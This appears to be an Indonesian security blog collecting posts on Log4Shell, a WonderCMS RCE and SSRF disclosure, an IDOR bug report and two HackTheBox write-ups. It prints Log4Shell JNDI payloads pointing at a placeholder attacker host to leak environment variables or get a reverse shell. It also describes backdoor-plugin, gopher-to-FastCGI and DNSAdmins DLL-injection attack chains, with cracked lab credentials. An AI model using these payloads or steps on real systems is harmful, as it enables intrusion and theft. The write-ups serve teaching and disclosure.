Thursday, December 16, 2021

Tentang Log4Shell Vulnerability (CVE-2021-44228)

Introduction

Log4j adalah library logger yang umum digunakan di dunia Java. Log4j memiliki cara untuk menambahkan value pada konfigurasi dengan menggunakan Lookup Plugins, ada banyak plugin lookup yang tersedia pada log4j, diantaranya adalah Docker Lookup,Environment Lookup, Java Lookup, dan lain sebagainya. Selengkapnya [disini] 

contoh konfigurasi log4j yang menggunakan Environment Lookup :
<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>
  </PatternLayout>
</File>

konfigurasi tersebut akan mengambil informasi USER yang ada pada environment variable.

Root Cause

Masalahnya adalah, plugin lookup tersebut tidak hanya dieksekusi pada file konfigurasi, namun plugin lookup juga dapat dieksekusi pada pesan log! Inilah kenapa log4shell dapat terjadi, dengan memanfaatkan JNDI Lookup yang ada pada entry log (attacker controlled input) attacker dapat mengarahkan URL JNDI ke server LDAP milik attacker lalu mendapatkan RCE (Remote Code Execution). 

${jndi:ldap://attacker.com/Exploit}

Dengan menggunakan antarmuka JNDI, log4j akan mengunduh file .class dan melakukan deserialize object. Menurut LunaSec versi JDK lebih besar dari 6u211, 7u201, 8u191, dan 11.0.1 tidak terpengaruh oleh serangan LDAP di atas, karena com.sun.jndi.ldap.object.trustURLCodebase by default diset FALSE, artinya JNDI dicegah memuat RCE menggunakan pencarian LDAP.

Namun, kerentanan masih dapat dieksploitasi dengan cara lain: khususnya, jika ada class di classpath yang memproses input pengguna dan meneruskannya ke fungsi InitialContext.lookup(), RCE masih dapat dilakukan. Serangan menggunakan metode ini dengan menargetkan class org.apache.naming.factory.BeanFactory, yang ada di server Apache Tomcat, dibahas dalam blog ini.

Jadi, tidak cukup menggunakan versi Java terbaru saja agar tidak rentan. Oleh karena itu, pembaruan ke log4j2 versi 2.15 mutlak diperlukan.

JNDI 101

JNDI adalah singkatan dari "Java Naming and Directory Interface"  Java API yang memungkinkan klien untuk menemukan dan mencari data dan objek melalui name atau directory service. Objek ini dapat disimpan dalam name atau directory service yang berbeda seperti Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).

JNDI Lookup pada log4j memungkinkan variabel untuk diambil melalui JNDI. Contoh :

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/nama-context} %m%n</pattern>
  </PatternLayout>
</File>

 JNDI Exploitation

Sekarang mari kita beralih ke JNDI injection attacks. Disini saya hanya akan sedikit menjelaskan, jika tertarik anda dapat membaca Whitepaper Blackhat yang luar biasa dari Alvaro Muñoz dan Oleksandr Mirosh. Selengkapnya [disini]

Yang penting untuk dipahami adalah apa yang terjadi di background saat layanan menggunakan JNDI untuk mengambil objek di server direktori:

  • Layanan direktori tidak harus berbasis Java karena hanya perlu menyediakan serialized object yang direferensikan, yang akan dideserialisasi oleh klien JNDI.
  • Terkadang objek tidak dapat disimpan dalam layanan direktori: Mungkin melebihi ukuran objek maksimum dari layanan yang digunakan atau kelas objek tidak dapat diserialisasi. Untuk menghadapi skenario ini, JNDI menyediakan fitur yang memungkinkan untuk mengunduh kode Java yang dikompilasi dari server web. Java akan membuat permintaan GET ke layanan itu dan dengan senang hati membuat instance baru dari kelas itu!

JNDI Attack Scenarios

Agar serangan JNDI berfungsi, penyerang harus dapat mengelabui aplikasi target agar membuat koneksi JNDI ke layanan direktori yang dikendalikan penyerang (RMI/LDAP/CORBA). Ada berbagai skenario ketika ini bisa terjadi: 

  • Penyerang memiliki akses ke dashboard admin dan dapat menentukan atau memodifikasi resource JNDI. 
  • Memanfaatkan kerentanan deserialisasi: Penyerang membutuhkan gadget atau gadget chain yang menyebabkan layanan target membuat koneksi JNDI keluar. 
  • Penyerang sudah memiliki kontrol parsial atas entri dalam layanan direktori yang ditanyakan oleh klien JNDI, misalnya akun pengguna di Active Directory. 
  • Penyerang memiliki kendali penuh atas nama objek.

Log4shell Attack Scenarios

Attack sceanrio terakhir penting untuk memahami kerentanan Log4j: Kita asumsikan bahwa penyerang dapat mengontrol User-Agent yang akan dilog oleh log4j, karena log4j mengeksekusi lookup pada entry log, maka attacker dapat menyisipkan payload pada entry log (dalam kasus ini adalah User-Agent).

log.info("Request User-Agent: {}", userAgent);


Payload 1 : JNDI Lookup pada User-Agent: ${jndi:ldap://ip-attacker/}



Payload 2 : JNDI Lookup + Java Lookup pada User-Agent: ${jndi:ldap://ip-attacker/${java:version}}




Payload 3 : JNDI Lookup + Environment Lookup pada User-Agent: ${jndi:ldap://ip-attacker/${env:USER} pathnya adalah ${env:PATH}}




Payload 4 : JNDI Lookup + Reverse Shell pada User-Agent: ${jndi:ldap://ip-attacker/Exploit}





Looking for RCE?

Tidak semua aplikasi yang menggunakan log4j ini dapat berimbas pada Remote Code Execution (RCE), ada beberapa kondisi yang harus dipenuhi agar dapat RCE:
  • Log4j versi 2 harus digunakan (>= 2.0-beta9 dan <= 2.14.1)
  • Penyerang harus memiliki akses langsung atau tidak langsung (ketika data input diteruskan ke sistem lain dan dilog di sana) ke sistem target.
  • Input/request (user agent, domain paths, text input, …) harus dilog.
  • Versi java dibawah 6u211, 7u201, 8u191, dan 11.0.1.

Log4j versi 1.x?

Saat ini yang corfirmed dapat diexploitasi adalah log4j versi 2.x, bagaimana dengan versi 1.x? Setelah membaca dari berbagai referansi, log4j versi 1.x tidak vulnerable terhadap CVE-2021-44228. 

Namun, tergantung pada konfigurasi, log4j versi 1 juga dapat terpengaruh. Ini adalah kasus ketika parameter konfigurasi TopicBindingName dan TopicConnectionFactoryBindingName digunakan (misalnya, saat menggunakan JMS Appender) dan opsi ini diset ke nilai yang dapat dihandle oleh JNDI.


Celah keamanan pada log4j versi 1.x ini tercatat pada CVE-2021-4104 dan memiliki severity lebih rendah daripada celah keamanan pada versi 2.x (CVE-2021-44228). 

Brikut beberapa aplikasi yang menggunakan versi 1.x adalah:
  • Apache Kafka 
  • Kafka Connect 
  • Schema Registry 
  • Rest Proxy
  • KSQL
  • Bamboo Server and Data Center
  • Confluence Server and Data Center
  • Crowd Server and Data Center
  • Fisheye / Crucible
  • Jira Server and Data Center
So, setelah membaca catatan tentang log4shell ini, harapannya pembaca dapat memahami celah ini dengan lebih baik, karena banyak yang berasumsi "Produk ini kena log4shell" hanya karena adanya DNS Query  dari target, ketika ditanya "dapet RCE nggak?", dijawab "nggak, kan ada dns query", in case mungkin versi javanya itu latest, jadi walaupun nggak dapet RCE, at least bisa memberikan evidence lebih daripada sekedar dns query  :)

Ref :

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/
  • https://www.cnblogs.com/yyhuni/p/15088134.html
  • https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html
  • https://www.xeotek.com/is-apachekafka-vulnerable-to-log4j2-exploit/
Share Yuk!

Saturday, November 28, 2020

WonderCMS 3.1.3 - Authenticated RCE & Blind SSRF Vulnerability

 




Overview

Halo, pada kesempatan kali ini saya akan menulis sedikit tentang vulnerability yang ditemukan pada CMS WonderCMS yang memiliki impact paling tinggi yaitu RCE (Remote Code Execution). Sebenarnya ini research kecil-kecilan untuk mengisi kegabutan weekend kali ini, yah… itung-itung sambil belajar research dan belajar kontribusi kepada komunitas infosec dengan cara menulis, semoga bermanfaat buat teman-teman yang membacanya.

Awalnyakan saya gabut, terus iseng buka exploit-db dan lihat salah satu nama exploit “WonderCMS 3.1.3 - ‘uploadFile’ Stored Cross-Site Scripting”, karena penasaran WonderCMS itu apa, akhirnya saya mengunjungi website WonderCMS ini. Masih penasaran, kira-kira ada ‘sesuatu’ yang bisa ditemukan lagi ngga dari CMS ini, kemudian saya download dan saya install di VM ubuntu saya. Dan pada akhirnya saya menemukan possibility untuk RCE dan menemukan celah SSRF yang akan saya bahas pada postingan ini. Oh iya, karena core CMS ini cuma ada 1 file php, dan semua fitur yang tidak memerlukan autentikasi tidak ada yang menarik, maka saya fokuskan pada fitur-fitur yang memerlukan autentikasi, jadi attack vectornya adalah attacker berhasil mendapatkan credential dan bisa digunakan untuk login ke dashboard CMS.

WonderCMS

WonderCMS adalah website builder yang simple dan gratis, CMS ini sangat mudah dipasang (1 step), ringan dan mudah digunakan. CMS ini termasuk salah satu CMS Open Source yang didevelop dari tahun 2008. Benar saja, ketika saya mencoba untuk install CMS ini, ternyata memang cuma berisi beberapa file untuk ditaruh di server. CMS ini berhasil saya install dengan modal web server dan php saja, tanpa memerlukan DBMS karena semua konfigurasi akan disimpan pada file bernama database.js.

Authenticated Remote Code Execution

Vulnerabilituy Discovery

Celah keamanan ini memanfaatkan fitur theme/plugin installer, sesuai namanya fitur ini digunakan untuk menginstall theme dan plugin dari repository. Fitur ini sangat mudah digunakan, sekali klik kita bisa install plugin atau tema baru.

Pada saat klik tombol install, maka request yang tertangkap pada burpsuite seperti ini:

Fitur installer ini setidaknya menggunakan 2 fungsi, yaitu installUpdateThemePluginAction dan addCustomThemePluginRepository, tapi saya akan fokus pada fungsi installUpdateThemePluginAction saja, mari kita sedikit membaca source codenya :

Singkatnya, fungsi ini akan mendownload plugin dari server dan secara temporary disimpan pada direcotry data/files/ZIPFromURL.zip, lalu file zip tadi diekstrak ke folder data/plugins/folderplugin-master/ kemudian direname menjadi data/plugins/folderplugin/ seperti ini,

Attack Scenario

Karena kita bisa mengontrol plugin yang ingin diinstall, maka kita bisa menyisipkan php backdoor kedalam file zip, ditambah lagi file hasil proses ekstrak ini predictable dan dapat diakses secara langsung, jadi ketika kita install crafted plugins kita bisa akses php backdoornya pada path /data/plugins/folderplugin/evil.php

Cukup mudah bukan?

Exploit

Saya sedikit membuat script untuk mengautomate prosesnya sehingga mendapatkan akses shell seperti ini,

exploit ini bisa diakses melalui exploit-db.

Authenticated Blind SSRF Vulnerability

SSRF Vulnerability

SSRF (Server Side Request Forgery) adalah celah keamanan web dimana memungkinkan penyerang dapat membuat permintaan HTTP ke domain yang dipilih penyerang. Dalam contoh SSRF biasa, penyerang dapat melakukan koneksi ke server itu sendiri, atau ke layanan berbasis web lainnya dalam infrastruktur, atau ke sistem pihak ketiga eksternal.

Vulnerability Discovery

Sebenarnya celah ini terdapat pada fitur yang telah kita bahas sebelumnya, yaitu fitur theme/plugin installer. Terdapat 2 fungsi yang berperan pada fitur ini, masih ingat? disini saya akan fokuskan kepada fungsi addCustomThemePluginRepository yg lebih menarik untuk dibahas karena terdapat filter terhadap destinasi plugin yang ingin diinstall. Fungsi ini akan digunakan ketika kita ingin menginstall costum plugin melalui fitur ini,

Ketika menggunakan fitur ini, kita harus menggunakan repository github dan gitlab sebagai destinasinya. Mari kita baca source codenya :

disana jelas terlihat kita dilarang menggunakan destinasi plugin selain github dan gitlab, dengan menggunakan fungsi strpos untuk mengecek posisi string "https://github.com/" dan "https://gitlab.com/" pada variable $url. Pengecekan ini sangat lemah, karena dengan menggunakan fungsi strpos ini jika terdapat karakter yang dicari, maka hasilnya akan berupa angka(Integer) yang menunjukkan posisi dari karakter tersebut, tetapi jika karakter yang dicari tidak ditemukan maka nilai yang dikembalikan adalah FALSE (Boolean). Maka, untuk membypass pengecekan ini dapat menggunakan url apapun asalkan terdapat string "https://github.com/" dan "https://gitlab.com/". Mari kita coba test dengan mengalihkan destinasi ke server milik kita :

YAY! berhasil bypass filter, selanjutnya apa? karena SSRF ini bersifat Blind SSRF, karena tidak terefleksikan pada response body maka kita tidak bisa langsung mengakses internal files menggunakan scheme file://.

Blind SSRF to RCE using Gopher Scheme

Untuk mendemonstrasikan impact paling tinggi yaitu RCE pada celah SSRF, maka saya akan memanfaatkan FastCGI yang secara default berjalan menggunakan socket, tapi agar dapat melakukan command execution pada konfigurasi FastCGI kita ganti menggunakan tcp connection dengan port 9000.

Untuk berinteraksi dengan internal network, kita dapat memanfaatkan protokol gopher. Dengan menggunakan scheme gopher:// kita bisa berinteraksi dengan spesifik IP, port, dan mengirimkan byte data.

Sebenarnya tidak terbatas hanya service FastCGI saja, kita bisa memanfaatkan service lain seperti Redis,MySQL,PostgreSQL,Memcached,Zabbix, dan SMTP. Karena kita sudah menyiapkan service FastCGI sebelumnya, maka kita dapat mengirimkan payload kepada service tersebut.

Generating Payload

Untungnya, ada sebuah tool bernama Ghoperus yang dapat membantu kita untuk membuat payload, langsung buat payload untuk reverse shell :

Exploit

Sedikit mengautomate proses exploit dengan script python :

exploit ini bisa diakses melalui exploit-db.

Sebenarnya SSRF ini juga berdampak pada fungsi installUpdateThemePluginAction, bahkan lebih mudah karena tidak ada filter terhadapat destinasi repositorynya:

Timelines

  • 27 November 2020 : Finding security issue
  • 27 November 2020 : Report
  • 28 November 2020 : Validation
  • 28 November 2020 : Hall of Fame
  • 20 April 2021 :  CVE-2020-35313 , CVE-2020-35314

References

Share Yuk!

Monday, November 16, 2020

Sunday, October 18, 2020

HTB Writeup - Blunder



Overview

Mesin ini dibuat oleh egotisticalSW , sistem operasi yang digunakan adalah Linux dengan level kesulitan Easy dan memiliki point sebesar 20 point. Untuk menyelesaikan mesin ini anda harus memahami CVE yang terdampak pada Bludit CMS. Mesin ini direlease pada tanggal 30 Mei 2020 dan retired pada tanggal 17 Oktober 2020



Scanning & Enumeration


Port scanning


Pertama kita akan memulainya dengan melakukan scanning terhadap target menggunakan nmap, dari hasil scanning kita mendapatkan informasi berupa port ataupun service yang berjalan dan dapat diakses dari external network. 


nmap -sV -sC 10.10.10.191 -vv -Pn



Identify CMS

Pada tahap port scanning kita mendapati bahwa port 80 terbuka, artinya terdapat layanan web yang berjalan. Setelah menganalisa, didapati bahwa web menggunakan CMS Bludit versi 3.9.2 







Bludit CMS Vulnerabilities

Didapati bahwa CMS Bludit versi 3.9.2 memiliki beberapa celah kemanan, diantaranya adalah :

  • CVE-2019-17240 
  • CVE-2019-16334
  • CVE-2019-16113


beberapa CVE diatas akan digunakan untuk proses exploitasi web ini.


Attack Vector 

Setelah mengetahui vulnerability yang terdapat pada CMS Bludit versi 3.9.2, maka dapat kita tentukan attack vectornya sebagai berikut :

  • Melakukan bruteforce attack terhadap login page CMS Bludit memanfaatkan CVE-2019-17240 
  • Setelah berhasil masuk CMS sebagai admin,lalu upload shell / RCE memanfaatkan CVE-2019-16113
  • Reverse shell


Akan tetapi untuk melakukan bruteforce pada login pagenya, setidaknya kita perlu tau username yang digunakan oleh admin. Namun kita mencoba bruteforce secara buta menggunakan user admin dengan password menggunakan wordlist rockyou dan custom wordlist dari content website tersebut.


Namun setelah melakukan beberapa kali percobaan bruteforce, tidak membuahkan hasil yang berarti. Mungkin ada informasi yang tertinggal? Mari kita cari lagi.




Discving Hidden File

Pada saat melakukan pentest web, tidak lupa melakukan brute force directori maupun file. Didapatkan sebuah file txt yang menginformasikan bahwa terdapat user bernama fergus.




-Update the CMS

-Turn off FTP - DONE

-Remove old users - DONE

-Inform fergus that the new blog needs images - PENDING



Username : fergus


CVE-2019-17240 (Bludit CMS Version 3.9.2 Brute Force Protection Bypass)


Pada CMS Bludit versi 3.9.2 seorang attacker dapat melakukan bruteforce terhadap login page dengan cara membypass mekanisme proteksinya dengan memanipulasi  X-Forwarded-For pada saat melakukan request.



Menggunakan tool ini untuk melakukan bruteforce dengan asumsi password dari wordlist rockyou dan custom wordlist dari content web, lalu didapatkan credential yang valid yaitu fergus:RolandDeschain




CVE-2019-16113 (Remote Code Execution)


Setelah mendapatkan akses ke dashboard admin fergus, maka langkah selanjutnya adalah memanfaatkan CVE-2019-16113 untuk mendapatkan akses shell ke server. Dengan bantuan tool disini kita dapat melakukan reverse shell.






Get User Flag


Setelah mendapatkan akses reverse shell, didapati bahwa terdapat user bernama Hugo dan Shaun (dapat dilihat dari home direcotry /home). Diketahui user.txt terdapat pada user Hugo, apakah eskalasi terhadap user Hugo melibatkan user Shaun? 


Jawabannya tidak. Sempat mendapatkan informasi dari directory /ftp yang berakhir tidak berguna apa-apa. 



Credential Hugo terdapat pada file website bl-content/databases/users.php yang diketahui passwordnya masih dalam bentuk hash. Lalu dilakukan percobaan identifikasi hash dan didapati kemungkinan algoritma yang digunakan adalah SHA1. Lalu menggunakan decryptor online ini dan didapatkan passwordnya adalah Password120








User Flag : 41d90caf23886809f8c286537992ea5e


Privilege Escalation 


Setelah mendapatkan user hugo, lalu mengecek sudoer dan didapati user hugo memiliki privilege yang spesifik, yaitu (ALL, !root) /bin/bash 


Setelah googling didapati CVE-2019-14287 yang dapat digunakan untuk privelege escalation pada server ini.





Root Flag : 2fa8b82cf0df79ce0c666d8beb5099c8


Terimakasih, Kalo di rasa tulisan ini bermanfaat, silahkan Share. Semoga kebermanfaatan ini terus berlanjut!

Share Yuk!

Monday, August 10, 2020

IDOR To Delete Any Project On Progrez Cloud


About Progrez Cloud

Progrez Cloud adalah aplikasi untuk menegement project yang dapat diakses melalui web browser maupun mobile application , saat ini Progres Cloud memiliki beberapa fitur diantaranya :

  • Manage Projects
  • Monitoring Website
  • Global Chat
  • Manage Monthly Outcome
  • Personal Blog
  • etc

Anda dapat mengakses Progrez Cloud pada alamat https://progrez.cloud/ atau jika anda menggunakan smartphone android anda dapat mengunduh aplikasinya di Play Story Progrez.Cloud

About IDOR Vulnerability

Insecure Direct Object Reference (IDOR) terjadi saat aplikasi menyediakan akses langsung ke objek berdasarkan masukan yang diberikan pengguna. Hal ini memngkinkan hacker untuk mem-bypass autentifikasi standar dan mengakses catatan database maupun sumber daya lain.

IDOR memungkinkan penyerang untuk memotong otorisasi dan mengakses sumber daya secara langsung dengan memodifikasi nilai parameter yang digunakan untuk mengarahkan langsung ke objek. Sumber daya semacam itu bisa menjadi entri database milik pengguna lain, file dalam sistem, dan banyak lagi. Hal ini disebabkan oleh fakta bahwa aplikasi tersebut memasukkan input yang dipasok pengguna dan menggunakannya untuk mengambil objek tanpa melakukan pengecekan otorisasi yang memadai.

3 Jenis Privacy Project

Pada dashboard Progrez terdapat menu project dimana kita dapat membuat project atau join ke project orang lain.

Diketahui bahwa project memiliki 3 jenis privacy :

  1. Private (Team Only)
  2. Public (Open) - Anyone can join
  3. Public (Close)- Read Only

Pada project yang memiliki privacy 1 (Private) maka orang lain tidak dapat melihat project tersebut, berbeda dengan privacy 2 dan 3, setiap project yang memiliki privacy 2 dan 3 maka setidaknya orang lain dapat melihat detail project tersebut.

IDOR Delete Project

Karena platform ini berjalan pada environment production maka rasanya tidak etis jika menggunakan data production sebagai bahan uji penetrasi, oleh karena itu untuk melakukan uji penetrasi ini dibutuhkan setidaknya 2 akun tester yang didapat dengan memanfaatkan fitur Signup.

2 akun ini akan bertindak sebagai :

  • 1 akun sebagai attacker
  • 1 akun sebagai victim/target.

Celah keamanan IDOR ini terdampak pada fitur delete project yang mengakibatkan attacker dapat menghapus setiap project yang memiliki privacy 2 dan 3.

Proof Of Concept

  1. Pilih salah satu public project yang terdapat pada menu Join Project (Pilih project dummy yang dibuat akun victim)
  2. Ketika memilih public project, maka project id akan terlihat pada request body 
  3. Lakukan intercept pada proses delete project milik akun attacker
  4. Kemudian ganti project_id milik attacker dengan project_id milik victim 
  5. Maka secara tidak langsung project victim akan terhapus 

Timeline

  • 11 Aug 2020 14:18 : Bug Reported
  • 11 Aug 2020 16:03 : Triaged
  • 11 Aug 2020 16:16 : Bug Fixed
  • 11 Aug 2020 16:29 : Listed On Hall Of Fame (HOF)

References

Share Yuk!

Monday, June 22, 2020

HTB Writeup - Resolute

 

Overview

Mesin ini dibuat oleh egre55 , sistem operasi yang digunakan adalah Windows dengan level kesulitan Medium dan memiliki point sebesar 30 point. Mesin ini direlease pada tanggal 07 Desember 2019 dan retired pada tanggal 30 Mei 2020.

Scanning & Enumeration

Port scanning

Pertama kita akan memulainya dengan melakukan scanning terhadap target menggunakan nmap, dari hasil scanning kita mendapatkan informasi berupa port ataupun service yang berjalan dan dapat diakses dari external network.

nmap -sV -sC -oA nmap/resolute 10.10.10.169 -vv

Port SMB (445 & 139)

Nmap memberikan informasi bahwa port 445 dan 139 yang digunakan service SMB terbuka, sehingga kita dapat melakukan enumerasi lebih jauh terhadap service ini. Ada beberapa tools yang dapat digunakan untuk enumerasi service SMB, diantaranya adalah:

⁃   Nmap
⁃   Nmblookup
⁃   Nbtscan
⁃   SMBMap
⁃   Smbclient
⁃   Rpcclient
⁃   Enum4linux

dari hasil scanning nmap sebelumnya, kita mendapati informasi sebagai berikut :

Users Enumeration

Setelah menggunakan beberapa tools diatas, kita dapat login sebagai anonymous user namun tidak mendapatkan akses yang berarti. Kemudian kita coba menggunakan tool rpcclient (default port 139) dan berhasil mendapatkan informasi users yang ada pada mesin target, untuk mendapatkan informasi yang lebih cepat kita bisa menggunakan tool enum4linux, berikut hasil dari rpcclient:

Menggunakan rpcclient kita dapat melakukan query secara manual terhadap setiap user yang ada, jika kita mengejar waktu maka menggunakan tools ini tidak disarankan. Kemudian didapatkan infromasi yang menarik pada user marko dengan rid 0x457 :

Bruteforce Users

Kita memiliki informasi bahwa user marko diset dengan password Welcome123!, kemudian dilakukan percobaan login dengan credential marko:Welcome123! namun tidak mendapatkan hasil yang kita harapkan. Dengan memanfaatkan userlist yang kita dapatkan dari rpcclient, kita melakukan percobaan bruteforce dengan password Welcome123! terhadap userlist yang kita miliki, dan didapati credential yang valid yaitu melaine:Welcome123!

Gaining Access

Initial Shell & Get User.txt

Setelah mendapatkan valid credential, kita berusaha mendapatkan akses shell dengan memanfaatkan port 5985 menggunakan tools Evil-WinRM

User Flag : 0c3be45fcfe249796ccbee8d3a978540

Privilege Escalation

Setelah melakukan enumerasi yg cukup melelahkan pada sistem target, didapatkan hidden folder dan file pada sistem target yang memuat informasi credential user yaitu ryan:Serv3r4Admin4cc123!

Setelah mendapatkan credential dari user ryan, kemudian dilakukan pengecekan privilege yang dimiliki oleh user ryan, dan diapati bahwa user ryan tidak memiliki privilege yang menarik, namun user ryan adalah member dari group DnsAdmins.

Jika user adalah membership dari group DNSAdmins, maka kita dapat abuse membership ini untuk privilege escalation menjadi Administrator. Dengan memanfaatkan layanan DNS pada target, kita akan mencoba menginjeksi DLL lalu mendapatkan code execution dengan privilege SYSTEM.

Building DLL

Seperti yang kita sebut sebelumnya, kita akan menginjeksi proses dns.exe dengan malicious DLL yang kita siapkan, untuk membuktikan cara ini berkerja atau tidak kita buat DLL untuk melakukan reverse shell ke mesin kita.

Abuse DNS with dnscmd

Sekarang kita memiliki DLL untuk reverse shell, lalu kita setting agar target (Resolute.megabank.local) melakukan pointing ke DLL milik kita menggunakan dnscmd, make sure bahwa target benar-benar sudah pointing ke DLL milik kita.

kenapa DLL kita dipointing secara remote smb ke mesin kita? kita memilih ini, karena windows secara default mendukung path UNC dan samba share dalam kebanyakan kasus.

Getting Code Execution With NT\SYSTEM

Sekarang waktunya melakukan restart DNS Service, maka DLL milik kita secara otomatis akan di-load oleh proses dns.exe dan reverse shell akan dikirimkan ke listener kita.

Flag Root.txt

Setelah tahapan restart service sudah dilakukan, tunggu beberapa saat dan kitapun akan mendapatkan akses shell dengan user sebagai NT AUTHORITY\SYSTEM

Root Flag : e1d94876a506850d0c20edb5405e619c

Terimakasih, Kalo di rasa tulisan ini bermanfaat, silahkan Share. Semoga kebermanfaatan ini terus berlanjut!

Share Yuk!